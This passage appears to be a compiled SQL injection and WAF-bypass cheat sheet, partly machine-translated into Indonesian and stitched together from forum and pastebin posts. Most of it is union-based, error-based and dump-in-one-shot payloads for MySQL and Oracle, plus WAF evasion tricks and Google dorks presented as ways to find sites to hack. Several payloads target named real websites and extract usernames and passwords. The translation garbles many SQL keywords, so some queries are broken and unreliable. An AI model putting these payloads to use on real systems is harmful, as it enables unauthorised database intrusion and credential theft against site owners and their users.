  3182. --------------------------------------
  3183. $ sudo apt-get install libapache2-mod-security
  3184. $ sudo a2enmod mod-security
  3185. $ sudo /etc/init.d/apache2 paksa-ulang
  3186.  
  3187. Memahami kerja WAF
  3188. --------------------------------
  3189. Setiap WAF bekerja pada dua format utama pertama Daftar Putih dan filterisasi Daftar Hitam.
  3190.  
  3191. 1. Daftar Putih: Saat kami menyatakan pemilik hanya harus masuk dari suatu IP statis tertentu serta alamat MAC dan nama pengguna dan kata sandi. Oleh karena itu bahkan kata sandi bocor tidak ada yang dapat login situs web kecuali ia tidak berada di IP dan alamat MAC yang sama.
  3192.  
  3193. 2. Black List: Ini adalah cara kedua untuk mengamankan situs web maka ia akan memiliki database dari semua serangan non-sense khususnya string based (order by), (union all select) dll. Dll. Apapun permintaan yang membawa jenis ini string dari VISITOR akan disaring oleh daftar hitam dan sebagai respons akan memblokir jika cocok dengan string apa pun dari daftar.
  3194.  
  3195. Cara Mengonfigurasi Keamanan Mod Anda di Ubuntu Setelah Instalasi
  3196. -------------------------------------------------- --------------
  3197. sudo gedit /etc/apache2/sites-available/000-default.conf
  3198. Setelah membuka file ini yaitu 000-default.conf kita harus mengubah alamat IP dari server atau nama situs web yang lalu lintasnya yang ingin kita saring dari keamanan mod.
  3199.  
  3200. Memintas Validasi WAF dan Filterasi
  3201. ------------------------------------------
  3202.  
  3203. 1. Metode Upper Lower Case
  3204.  
  3205. union all pilih: UnIoN aLl SeLeCt
  3206. http://172.16.191.137/dvwa/vulnerabilities/sqli/?id=1 'UnIoN SeLeCt 1,2 - + & Kirim = Kirim #
  3207.  
  3208. Komentar sebaris: / * * /
  3209.  
  3210. 2. Inline Executable Comments
  3211. / *! UnIoN * / + / *! ALl * / + / *! SeLeCt * /
  3212.  
  3213. Langkah 1: Dapatkan tabel dari database
  3214. http://172.16.191.138/dvwa/vulnerabilities/sqli/?id=1 '/ *! UnIoN * / + / *! aLl * / + / *! SeLeCt * / 1,2 - + & Kirim = Kirim #
  3215.  
  3216. Tabel Target adalah pengguna
  3217.  
  3218. Langkah 2: dapatkan kolom
  3219. http://172.16.191.138/dvwa/vulnerabilities/sqli/?id=1 '/ *! UnIoN * / + / *! aLl * / + / *! SeLeCt * / 1, column_name dari information_schema.columns di mana table_name =' pengguna '- + & Kirim = Kirim #
  3220.  
  3221. Versi Berdasarkan Inline Komentar yang Dapat Dijalankan
  3222. ----------------------------------------
  3223. / *! 50000UnIoN * / + / *! 50000aLl * / + / *! 50000SeLeCt * /
  3224.  
  3225. Langkah 3: http://172.16.191.138/dvwa/vulnerabilities/sqli/?id=1 '/ *! 50000UnIoN * / + / *! 50000aLl * / + / *! 50000SeLeCt * / 1, column_name dari information_schema.columns di mana table_name = 'users' - + & Submit = Kirim #
  3226.  
  3227. NOte: Lakukan hal yang sama dengan semua kata query dan lanjutkan dengan serangan. Jika Anda butuh bantuan, kunjungi www.iamrahultyagi.in atau officialrahultyagi.blogspot.in
  3228.  
  3229. MYSQL
  3230. 5.00.00 -> 50000
  3231. 4,00,00 -> 40000
  3232. 3,00,00 -> 30000
  3233. 2,00,00 -> 20000
  3234. 1,00,00 -> 10.000
  3235.  
  3236. ©
  3237.  
  3238. -rkx
  3239.  
  3240. Penggunaan Kueri Keamanan Tinggi
  3241.  
  3242. 1'order oleh 1 #
  3243. 1 'union pilih 1,2 #
  3244. 1 'union pilih 1, database () #
  3245.  
  3246. atau 1 = 1 union pilih null, table_name dari information_schema.tables
  3247.  
  3248. atau 1 = 1 union pilih null, column_name dari information_schema.columns
  3249.  
  3250. atau 1 = 1 union memilih pengguna, kata sandi dari pengguna
  3251.  
  3252. Error Base Penggunaan query ganda
  3253. Sebuah. Pernyataan Pilih Yang Digunakan Memiliki Jumlah Kolom yang Berbeda.
  3254. b. Kolom Tidak Diketahui 1 atau tidak ada kolom sama sekali (di halaman web dan sumber halaman)
  3255. c. Kesalahan # 1604
  3256.  
  3257. Tampilkan Versi
  3258. atau 1 grup dengan concat_ws (0x3a, versi (), floor (rand (0) * 2)) memiliki min (0) atau 1
  3259.  
  3260. Tampilkan Database
  3261. dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (database () sebagai char), 0x7e)) dari information_schema.tables di mana table_schema = database () limit 0,1), floor ( rand (0) * 2)) x dari grup information_schema.tables dengan x) a)
  3262.  
  3263. Tampilkan tabel
  3264. dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (table_name sebagai char), 0x7e)) dari information_schema.tables di mana table_schema = database () limit 0,1), floor (rand ( 0) * 2)) x dari grup information_schema.tables dengan x) a)
  3265.  
  3266. Tampilkan kolom
  3267. dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (column_name sebagai char), 0x7e)) dari information_schema.columns di mana table_name = 0xTable limit 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a)
  3268.  
  3269.  
  3270. Buang data dari kolom
  3271. dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (concat (COLUMN_NAME, 0x7e, COLUMN_NAME) sebagai char), 0x7e)) dari Databasename.TABLENAME limit 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a)
  3272.  
  3273. -------------------------------------------------- ----------
  3274. -------------------------------------------------- ----------
  3275. http: // localhost / sqli-labs-master / Less-5 /? id = 1'and (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (column_name sebagai char), 0x7e) ) dari information_schema.columns di mana table_name = 0x7573657273 dan table_schema = database () limit 2,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) - +
  3276.  
  3277. Mendapatkan
  3278.  
  3279. http: // localhost / sqli-labs-master / Less-5 /? id = 1'and (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (concat (nama pengguna, 0x7e, kata sandi ) sebagai char), 0x7e)) dari batas security.users 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a)
  3280. - +
  3281.  
  3282. -------------------------------------------------
  3283. -------------------------------------------------- -
  3284.  
  3285. Basis Kesalahan
  3286. dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (database () sebagai char), 0x7e)) dari information_schema.tables di mana table_schema = database () limit 0,1), floor ( rand (0) * 2)) x dari grup information_schema.tables dengan x) a)
  3287.  
  3288. Error Base Double Query
  3289.  
  3290. Tampilkan Versi
  3291. dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (0x7e, 0x27, cast (versi () sebagai char), 0x27,0x7e)) dari limit information_schema.tables 0,1), floor ( rand (0) * 2)) x dari grup information_schema.tables dengan x) a) dan 1 = 1
  3292.  
  3293. Tampilkan Database
  3294. dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih (PILIH concat yang berbeda (0x7e, 0x27, cast (schema_name sebagai char), 0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) dari information_schema .tables limit 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) dan 1 = 1
  3295.  
  3296. Tampilkan Tabel dari basis data
  3297. dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih (PILIH concat yang berbeda (0x7e, 0x27, cast (table_name sebagai char), 0x27,0x7e) FROM information_schema.tables Dimana table_schema = 0xDatabase_Name LIMIT 0,1 )) dari batas information_schema.tables 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) dan 1 = 1
  3298.  
  3299. Tampilkan Kolom dari tabel
  3300. dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih (PILIH concat yang berbeda (0x7e, 0x27, cast (column_name sebagai char), 0x27,0x7e) FROM information_schema.columns Di mana table_schema = 0xDatabase_name DAN table_name = 0xTable_name LIMIT 0,1)) dari batas information_schema.tables 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) dan 1 = 1
  3301.  
  3302. Dump Data dari kolom
  3303. dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih (pilih concat (0x7e, 0x27, cast (table_name.column_name sebagai char), 0x27,0x7e) DARI `security`.table_name LIMIT 0,1) ) dari batas information_schema.tables 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) dan 1 = 1
  3304. -------------------------------------------------- ------
  3305.  
  3306. Dump in one Shot (Database, Tabel, Kolom)
  3307. (pilih (@x) dari (pilih (@x: = 0x00), (pilih (0) dari (information_schema.columns) di mana (table_schema! = 0x696e666f726d6174696f6e5f736368656d61) dan (0x00) dalam (@x: = / *! 50000concat * / (@ x, 0x3c62723e, table_schema, 0x272d2d3e27, table_name, 0x272d2d3e27, column_name)))) x)
  3308.  
  3309. (pilih (@) dari (pilih (@: = 0x00), (pilih (@) dari tbl_admin_info di mana (@) dalam (@: = / *! 50000concat * / (@, user_name, 0x3a, kata sandi)))) a )
  3310. -------------------------------------------------- ----
  3311.  
  3312. jika concat block gunakan ganti fungsi
  3313.  
  3314. ganti (REPLACE (ganti (0x5b215d, 0x5b, versi ()), 0x21, database ()), 0x5d, usâ € ‹er ())
  3315.  
  3316. Function ByPassing
  3317.  
  3318. * unhex(hex(value))
  3319.  
  3320. * cast(value as char)
  3321.  
  3322. * uncompress(compress(version()))
  3323.  
  3324. * cast(version() as char)
  3325.  
  3326. * aes_decrypt(aes_encrypt(version(),1),1)
  3327.  
  3328. * binary(version())
  3329.  
  3330. * convert(value using ascii)
  3331.  
  3332. Mengapa Kami menggunakan 50000,12345,00000 dalam / *! * /?
  3333.  
  3334. Frnds Sekarang saya ingin berbagi sesuatu yang menarik 4u yang merupakan bagian dari SQLI. Hanya 4 pemula.
  3335. Master bros sudah tahu ini yang harus saya bagikan di sini
  3336.  
  3337. Topik: Mengapa kami menggunakan 50000,00000,12345 dalam / *! * /?
  3338.  
  3339. Pendatang baru saya menggunakan semua / *! 12345 * / seperti dat 4 yang melewati WAF. Apakah Anda tahu logika di balik ini mengapa kita menggunakan 12345? Hari ini m memberitahu Anda arti sebenarnya dari ini Tapi pertama setelah membaca komentar ini yang Anda ketahui sebelum arti dari penggunaan dat 12345.00000,50000
  3340.  
  3341. Jadi, sekarang dengarkan baik-baik
  3342.  
  3343. Sebenarnya kita menggunakan 12345 bcuj ketika kita menulis ini menjalankan versi MySQL upto 5. Berarti jika versi mysql Anda adalah upto 5 maka Anda dapat menggunakan 00000,12345,50000 atau bahkan Anda dapat menggunakan 56000 tetapi jika versi mysql adalah 5,6 sesuatu. Jadi itu berarti nomor 12345 terkait dengan versi mysql
  3344.  
  3345. 12345 berarti => 1.23.4500000 berarti => 0.00.0050000 berarti => 5.00.0056000 berarti => 5.60.00
  3346.  
  3347. Baca saja semuanya karena jika Anda tidak melakukannya, Anda tidak akan mengerti ini
  3348. kode dan bagaimana cara kerjanya!
  3349.  
  3350. Dorks:
  3351.  
  3352. inurl: "view.asp? page =" intext: "plymouth"
  3353.  
  3354. Ok apa kode ini?
  3355. Jadi ini adalah sekolah-sekolah universitas yang dapat diretas dengan sekolah-sekolah universitas dork ini.
  3356.  
  3357. inurl: "shoutbox.php" intext: "skrip"
  3358.  
  3359. dengan kode ini Anda dapat meretas shoutbox atau menemukan skrip
  3360.  
  3361.  
  3362. inurl: "index.php? act =" rapidleech
  3363.  
  3364. Kode ini akan menemukan situs rapidleecher dengan sangat cepat.
  3365.  
  3366. inurl: "index.php? act = idx"
  3367.  
  3368. Kode ini akan menemukan forum ipb dengan cepat untuk diretas
  3369.  
  3370. inurl: "Photoshop.aspx" "tutorial"
  3371.  
  3372. Kode ini akan menemukan tutorial photoshop
  3373.  
  3374. inurl: ftp: // situs ftp: .com
  3375.  
  3376. Kode ini akan menemukan server ftp apa saja dan membasmi situs yang dilindungi.
  3377.  
  3378. allinurl: user_index.jsp
  3379.  
  3380. Kode ini akan menemukan hosting gratis apa pun
  3381.  
  3382. didukung oleh vbulletin game 3.8.4 inurl: member.php? u = 1
  3383.  
  3384. Kode ini akan menemukan forum permainan vbulletin dan halaman admin.
  3385.  
  3386. didukung oleh vbulletin 4.0.3 Informasi Debug
  3387.  
  3388. Kode ini akan menampilkan semua kode dan informasi kode vbulletin forum
  3389. dan bugnya Anda rooting ke dalamnya.
  3390.  
  3391. didukung oleh vbulletin "warez"
  3392.  
  3393. Kode ini akan menemukan forum warez apa pun.
  3394.  
  3395. video ke mp3 konverter intext online: "mp3" -intis: "Kualitas Tinggi"
  3396.  
  3397. Dengan kode ini Anda dapat mengunduh mp3 dari youtube dengan sangat cepat.
  3398.  
  3399. intext: "Peringatan: mysql_fetch_array ()"
  3400.  
  3401. Dengan kode ini Anda akan menemukan situs vulnarable dan meretasnya.
  3402.  
  3403. inurl: radioandtv.php
  3404.  
  3405. Kode ini akan menampilkan semua torrent stasiun radio tersembunyi.
  3406.  
  3407. inurl: "postingan.php? mode = smilies" "phpbb"
  3408.  
  3409. Dengan kode ini Anda akan dapat meretas forum phpbb dan memasukkan xss ke dalam forum.
  3410.  
  3411. allinurl: alat / spider-view.php
  3412.  
  3413. Dengan kode ini Anda dapat menemukan tautan situs dengan sangat cepat.
  3414.  
  3415. embed src = ". mp3" type = audio / mpeg
  3416.  
  3417. Kode injeksi Html untuk menemukan situs rahasia dengan kode html mp3 embed
  3418. Anda akan melihatnya bahkan di google.
  3419.  
  3420. "didukung oleh vbulletin" + "akun dump"
  3421.  
  3422. Dengan kode ini Anda akan dapat menemukan kata sandi
  3423. untuk situs apa pun, forum bukan untuk pornografi.
  3424.  
  3425. allinurl: "buku tamu / smileys.php"
  3426. inurl: "smileys.php" + "berbicara"
  3427. allinurl: smiliehelp.php
  3428.  
  3429. Berbicara smilies.
  3430.  
  3431. "intitle: index of" admin / FCKeditor / _samples / html
  3432.  
  3433. Dengan kode ini Anda akan dapat menemukan fck server html
  3434. editor dan meretasnya.
  3435.  
  3436. burung hantu kota kunang-kunang + "instrumental"
  3437.  
  3438. Dengan kode ini Anda akan dapat mp3 instrumental dan mengubah ini
  3439. burung hantu kota kunang-kunang
  3440.  
  3441. HTTP / 1.1 :: Mozilla / 5.0 (Windows; U; Windows NT 5.1; en-US; rv: 1.9.2.3)
  3442. access_log
  3443.  
  3444. dengan kode ini Anda akan dapat meretas akses situs
  3445. log dan lihat semua informasi.
  3446.  
  3447. "google scanner sql" + "php"
  3448.  
  3449. Google sql injection online meretas situs-situs rentan, forum
  3450. dan menemukan situs-situs yang rentan sangat mudah.
  3451.  
  3452. situs: youtube.com *@gmail.com
  3453.  
  3454. Ini akan menemukan youtube atau email situs apa pun.
  3455.  
  3456. allinurl: html_colors.html
  3457.  
  3458. Ini akan menemukan kode grafik html sangat cepat.
  3459.  
  3460. torrent pribadi + "buka daftar"
  3461.  
  3462. Ini akan menemukan torrent pribadi yang terbuka untuk didaftarkan.
  3463.  
  3464.  
  3465. hotfile + mediafire + "http: //" + "rar" horor 2010 dvdrip,
  3466. (hotfile | mediafire) .rar 2010 horor dvdrip
  3467.  
  3468. Ini akan menemukan situs-situs rahasia dengan film dvdrip hanya mengubah horor.
  3469.  
  3470. dvdrip 400mb "2010"
  3471.  
  3472. Ini akan menemukan film ripping dvdrip dalam 400mb dan terbaru.
  3473.  
  3474. sql dork bank injeksi
  3475.  
  3476. Ini akan menemukan bank dorks untuk meretas google.
  3477.  
  3478. inurl: archive / index.php "visual basic"
  3479.  
  3480. -4LPH4
  3481.  
  3482. POST METHOD
  3483.  
  3484. ------------
  3485.  
  3486. http://mosii.gametrailers.com/getmediainfo4.php?mid=47330 and false UNION SELECT 1,@@version,333,4444,5,6,7,8,0,10,11,12,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
  3487.  
  3488. http://sharemobile.ro/index.php
  3489.  
  3490. &login=login&password=xxxxxxxxxx&username=asdasdasd' and false union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 %23
  3491.  
  3492. http://www.articlemarketingrobot.com/db/select.php
  3493.  
  3494. sql=select/**/*/**/from/**/_articlequeue/**/where/**/1=2/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11/**/%23&dbid=a6b65df1-14b4-47a0-98f7-c7e420deda3f&cb=ZZCZXV36
  3495.  
  3496.  
  3497. ~h
  3498.  
  3499. -----------------------------------------------
  3500. UNION SELECT BASED
  3501.  
  3502. -------------------------------------------------------------------------
  3503.  
  3504. http://127.0.0.1/defcamp/0_o/index.php?id=2%27+and+1=0+union+select+1,2,3,4,5,(SELECT-!!-1||! !N'1'|2),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
  3505.  
  3506. http://www.communityinclusion.org/staff.php?staff_id=1+and+1=2+UNION+SELECT+1,2,3,4,5,6;%00
  3507.  
  3508. http://poze.exn.ro/poze.php?id=202&poze=vedete"+and+false+union+all+select+1,2,version(),4,5,6+and+"1"="1
  3509.  
  3510. test.ru/test.php?id=-40+union+select+1,(select(@x)from(select(@x:=0x00),(select(0)from(members)where(0x00)in(@x:=concat(@x,0x3c62723e,mail,0x3a,pwd))))x),3,4,5,6,7,8,9--+
  3511.  
  3512. http://www.marinaplast.com/page.php?id=13 div 0 union select 1,2,3,4,5
  3513.  
  3514. mysite.com/index.php?id=-1+UNION+SELECT+1,convert(@@version using latin1),3,4,5--
  3515.  
  3516. mysite.com/index.php?id=-1+union+select+1,group_concat(table_name),3+from+information_schema.tables+--+
  3517.  
  3518. mysite.com/index.php?id=-1+union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_name>'mytable'+--+
  3519.  
  3520. mysite.com/index.php?id=-1+union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_name>0x6d797461626c65+--+
  3521.  
  3522. mysite.com/index.php?id=-1+union+select+1,group_concat(username,0x3a,password),3,4,5+from+0x6578616d706c656462322e61646d696e6973747261746f7273--
  3523.  
  3524. mysite.com/index.php?id=-1'+union+select+concat(name,0x3a,password)+from+user+where+id=1+--+
  3525.  
  3526. mysite.com/index.php?id=9086 UNION /*!SELECt*/ 1,2,grouP_ConCat(column_name),4,5,6,7,8 from /*!information_schema*/.columns where table_schema=database()--
  3527.  
  3528. mysite.com/index.php?catid=-1 UNION SELECT 1,concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37),3,4--
  3529.  
  3530. mysite.com/index.php?catid=1 union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--
  3531.  
  3532. mysite.com/index.php?a=newsdetail&id=-1+union+select+1,2,3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()
  3533.  
  3534. mysite.com/index.php?a=newsdetail&id=-1+union+select+1,2,3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()
  3535.  
  3536. mysite.com/index.php?a=newsdetail&id=-1+union+select+1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()
  3537.  
  3538. mysite.com/index.php?a=newsdetail&id=-1+union+select+1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()
  3539.  
  3540. mysite.com/index.php?a=newsdetail&id=-1/*!AND*/1=1+UNiOn+ALl+SelECt+1,/**/2,/**/3,/**/4,/**/5,/**/6,/**/7,/**/8,/**/9/**/limit/**/1,2
  3541.  
  3542. +and+1=0+union+select+ sql_no_cache +1,2,3,4,5
  3543.  
  3544. http://www.microage-bathurst.ca/services.php?id=-7+union+select+1,hex(group_concat(table_name)),3,4+from+information_schema.tables+where+table_rows>0--
  3545.  
  3546. http://www.imsports.msu.edu/clubs/clubDisp.php?id=-71+union+select+1,GROUP_CONCAT(concat_ws(0x3a,table_schema,TABLE_NAME)+SEPARATOR+0x3C62723E),3,4,5,6,7,8,9,10,11+from+information_schema.columns+where+column_name+like+0x257061737325+or+column_name+like+0x25702577256425--+
  3547.  
  3548. http://web.riss.ru/cgi-bin/riss.cgi?action=news_show&lang=concat_ws(0x3a,user(),database(),version())+FROM+riss_news+LIMIT+1--+&id=-1+union+select+1,2,3
  3549.  
  3550. http://www.wbdg.org/ccb/browse_org.php?o=70+and+1=10+union+select+111111111113371111111111,2--
  3551.  
  3552. concat(@i:=0x00,@o:=0xd0a,benchmark(61,@o:=CONCAT(@o,0xd0a,(SELECT+concat(table_schema,0x2E,@i:=table_name)+FROM+information_schema.tables+WHERE+table_name>@i+order+by+table_name+LIMIT+1))),@o)
  3553.  
  3554. ~Ph.h4rh4r
  3555.  
  3556. List of HTTP status codes
  3557.  
  3558. 400 ===> (Bad request)
  3559. 401 ===> (Authorization required)
  3560. 402 ===> (Payment required)
  3561. 403 ===> (Forbidden)
  3562. 404 ===> (Not found)
  3563. 405 ===> (Method not allowed)
  3564. 406 ===> (Not acceptable)
  3565. 407 ===> (Proxy authentication required)
  3566. 408 ===> (Request timeout)
  3567. 409 ===> (Conflict)
  3568. 410 ===> (Gone)
  3569. 411 ===> (Length required)
  3570. 412 ===> (Precondition failed)
  3571. 413 ===> (Request entity too large)
  3572. 414 ===> (Request URI too large)
  3573. 415 ===> (Unsupported media type)
  3574. 416 ===> (Request range not satisfiable)
  3575. 417 ===> (Expectation failed)
  3576. 422 ===> (Unprocessable entity)
  3577. 423 ===> (Locked)
  3578. 424 ===> (Failed dependency)
  3579. 500 ===> (Internal server error)
  3580. 501 ===> (Not Implemented)
  3581. 502 ===> (Bad gateway)
  3582. 503 ===> (Service unavailable)
  3583. 504 ===> (Gateway timeout)
  3584. 505 ===> (HTTP version not supported)
  3585. 506 ===> (Variant also negotiates)
  3586. 507 ===> (Insufficient storage)
  3587. 510 ===> (Not extended)
  3588.  
  3589. ~{Injection type}~
  3590. -----------------------------------------------
  3591. HTML Injection - Reflected (GET)
  3592. HTML Injection - Reflected (POST)
  3593. HTML Injection - Reflected (Current URL)
  3594. HTML Injection - Stored (Blog)
  3595. iFrame Injection
  3596. LDAP Injection (Search)
  3597. Mail Header Injection (SMTP)
  3598. OS Command Injection
  3599. OS Command Injection - Blind
  3600. PHP Code Injection
  3601. Server-Side Includes (SSI) Injection
  3602. SQL Injection (GET/Search)
  3603. SQL Injection (GET/Select)
  3604. SQL Injection (POST/Search)
  3605. SQL Injection (POST/Select)
  3606. SQL Injection (AJAX/JSON/jQuery)
  3607. SQL Injection (CAPTCHA)
  3608. SQL Injection (Login Form/Hero)
  3609. SQL Injection (Login Form/User)
  3610. SQL Injection (SQLite)
  3611. SQL Injection (Drupal)
  3612. SQL Injection - Stored (Blog)
  3613. SQL Injection - Stored (SQLite)
  3614. SQL Injection - Stored (User-Agent)
  3615. SQL Injection - Stored (XML)
  3616. SQL Injection - Blind - Boolean-Based
  3617. SQL Injection - Blind - Time-Based
  3618. SQL Injection - Blind (SQLite)
  3619. SQL Injection - Blind (Web Services/SOAP)
  3620. XML/XPath Injection (Login Form)
  3621. XML/XPath Injection (Search)
  3622.  
  3623. Hard WAF Bypass :)
  3624.  
  3625. The Methods
  3626. .
  3627. id=1.unioN/**/distinct%20%73eleCt""a
  3628. id=1%.0unioN/**/distinct%20%73eleCt+-!~
  3629. id=1%""unioN/**/distinct%20%73eleCt@$%
  3630. id=1%''unioN/**/distinct%20%73eleCt@%C0%
  3631. id=1-.0unioN/**/distinct%20%73eleCt@%C0/
  3632. id=1=\NunioN/**/distinct%20%73eleCt@%FF|
  3633. id=1<0.unioN/**/distinct%20%73eleCt@=
  3634. id=1>0.unioN/**/distinct%20%73eleCt~.
  3635. id=1e0unioN/**/distinct%20%73eleCt""$
  3636. id=1^0.unioN/**/distinct%20%73eleCt!~
  3637. id=1|""unioN/**/distinct%20%73eleCt\N$
  3638. id=1|''unioN/**/distinct%20%73eleCt\N%FF
  3639. id=1|.0unioN/**/distinct%20%73eleCt!@
  3640. id=1|\NunioN/**/distinct%20%73eleCt""/
  3641.  
  3642. Source: https://pastebin.com/qzNp6zha
  3643.  
  3644. -Credits.
  3645.  
  3646. Oracle SQL Injection dan DIOS Query
  3647.  
  3648. Dalam Nama ALLAH Yang Maha Pengasih dan Penyayang
  3649.  
  3650. Setelah mendapatkan banyak permintaan untuk menambahkan DIOS dan tutorial Injeksi ralated database lainnya pada Securityidiots. Di sini kita bangun dengan Oracle Based SQL Injection dan DIOS tutorial
  3651.  
  3652. Berikut adalah dasar-dasar Oracle Union Based Injection yang dapat Anda gunakan untuk menyuntikkan situs berbasis oracle Union Based Oracle Injection
  3653.  
  3654. Saya harap membaca Union Based Oracle Injection di atas sekarang Anda tahu cara menyuntikkan situs berbasis oracle, sekarang kita akan menyuntikkan "http://demosite.com/page.php?id=1" di tutorial kami. Mari kita lihat apakah masukan di bawah ini memberi kita kesalahan. Sebelum kita mulai menonton video dasar ini yang berisi bagaimana menggunakan beberapa pertanyaan di bawah ini, maka Anda dapat membaca tutorial yang memberikan penjelasan lebih lanjut dan beberapa contoh lain dari DIOS oracle dan injeksi.
  3655.  
  3656. http://demosite.com/page.php?id=1 '
  3657. Sekarang jika kita memiliki kesalahan memungkinkan menyeimbangkan permintaan.
  3658. http://demosite.com/page.php?id=1 'pesanan oleh 1--
  3659. Tidak Ada Kesalahan
  3660. http://demosite.com/page.php?id=1 'pesanan sebesar 8--
  3661. Tidak Ada Kesalahan
  3662. http://demosite.com/page.php?id=1 'pesanan sebesar 9--
  3663. Kesalahan
  3664. Sekarang kita tahu 8 adalah kolom terakhir yang berfungsi, jadi sekarang kita bisa mencoba serikat pekerja.
  3665. http://demosite.com/page.php?id=1'and 0 = 1 union pilih 111,222,333,444,555,666,777,888--
  3666. Jika Anda mendapatkan beberapa kesalahan, maka cobalah
  3667. http://demosite.com/page.php?id=1'and 0 = 1 union pilih NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL--
  3668. dan temukan kolom yang rentan secara manual, tetapi anggaplah itu juga tidak berhasil, maka cobalah ini.
  3669. http://demosite.com/page.php?id=1'and 0 = 1 union pilih NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL dari dual--
  3670. Semoga mencampur salah satu trik di atas dapat berhasil.
  3671. Anggaplah ketiga adalah kolom rentan, yang dicetak di layar. Mari mulai mengekstraksi data melalui kolom ketiga, pertama-tama kita akan mengekstrak versi database.
  3672. Untuk mendapatkan versi yang kami gunakan (pilih spanduk dari v $ version di mana rownum = 1)
  3673. http://demosite.com/page.php?id=1'and 0 = 1 union pilih NULL, NULL, (pilih banner dari v $ version di mana rownum = 1), NULL, NULL, NULL, NULL, NULL--
  3674. Sekarang mari dapatkan database saat ini menggunakan SYS.DATABASE_NAME.
  3675. http://demosite.com/page.php?id=1'and 0 = 1 union pilih NULL, NULL, SYS.DATABASE_NAME, NULL, NULL, NULL, NULL, NULL--
  3676. Sekarang sisa bagian yang akan kita lakukan menggunakan DIOS (Dump dalam satu tembakan) untuk Oracle. Tidak seperti DIOS Oracle DOS lain yang sederhana di mana kita hanya menggunakan fungsi wm_concat untuk mengekstrak data dari database.
  3677. http://demosite.com/page.php?id=1'and 0 = 1 union pilih NULL, NULL, (PILIH ganti (wm_concat ('<li>' || table_name), ',', '') FROM all_table), NULL, NULL, NULL, NULL, NULL--
  3678. Query di atas akan memberi Anda semua tabel, sekarang mari kita dapatkan kolom untuk tabel, tapi itu tidak semuanya lebih dari apa yang dapat Anda lakukan: D. Karena wm_concat terbatas dalam output, kami tidak dapat menyebutnya DIOS lengkap, jadi ya kami akan segera bekerja pada beberapa versi lain untuk DIOS Oracle, tetapi untuk sekarang di sini ada beberapa cara lain yang dapat Anda coba.
  3679. http://www.technoriunite.it/pages.php?p=cut-linear ') dan 1 = 0 union pilih null,' "> '|| (pilih LISTAGG (table_name,' <li> ') dalam grup ( ORDER BY table_name) dari all_tables) || '<! -', NULL, NULL dari dual - & lang = it
  3680.  
  3681. http://www.beaconhouse.edu.pk/cms_main_career.php?id=9&subpg=1&pjobid=-22050 dan 0 = 1 UNION + SELECT NULL, (pilih wm_concat ('<li>' || table_name || ':' || column_name) from (pilih rownum as rnum, table_name, column_name dari all_tab_columns urutan oleh table_name desc) shell di mana rnum <120) || '<! -', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL dari dual--
  3682.  
  3683. http://www.technoriunite.it/pages.php?p=cut-linear ') dan 1 = 0 union pilih null,' "> '|| (pilih wm_concat (' <li> '|| table_name ||' : '|| column_name) from (pilih rownum as rnum, table_name, column_name dari all_tab_columns order oleh table_name desc) shell di mana rnum <120) ||' <! - ', NULL, NULL dari dual - & lang = it
  3684. Itu semua untuk saat ini, sampai jumpa lagi dengan tutorial kami berikutnya: D
  3685.  
  3686. Diko rin naget ke hahaha. share ko nalang: D
  3687.  
  3688. Sumber: SecurityIdiots.com
  3689.  
  3690.  
  3691. Bypass 404 :)
  3692.  
  3693. bypass1: order by x,x-- -
  3694. bypass2: union select x,x-- -
  3695. bypass3: =-x' UNION /*!SELECT*/ x,x-- -
  3696. bypass4: x,x,CONCAT_WS(CHAR(32,58,32),user(),database(),version())-- -
  3697. bypass5: /*!UNION /*!SeLeCT*/ 1,2,concat_ws(0x7c,table_name) from information_schema.tables where table_schema=database()-- -
  3698. bypass6: /*!UNION /*!SeLeCT*/ 1,2,concat_ws(0x7c,table_name) from information_schema./*!tables*/ where table_schema=database()-- -
  3699. bypass7: /*!UNION /*!SeLeCT*/ 1,2,concat_ws(0x7c,column_name) from information_schema./*!columns*/ where table_name=0x(convert to hex)-- -
  3700. bypass8: /*!UNION /*!SeLeCT*/ 1,2,3,4,5,6,7,8,9,10,11,12,concat_ws(0x7c,abc),14,15,16,17,18 from xyz-- -
  3701.  
  3702.  
  3703. SQLi Waf Bypass
  3704.  
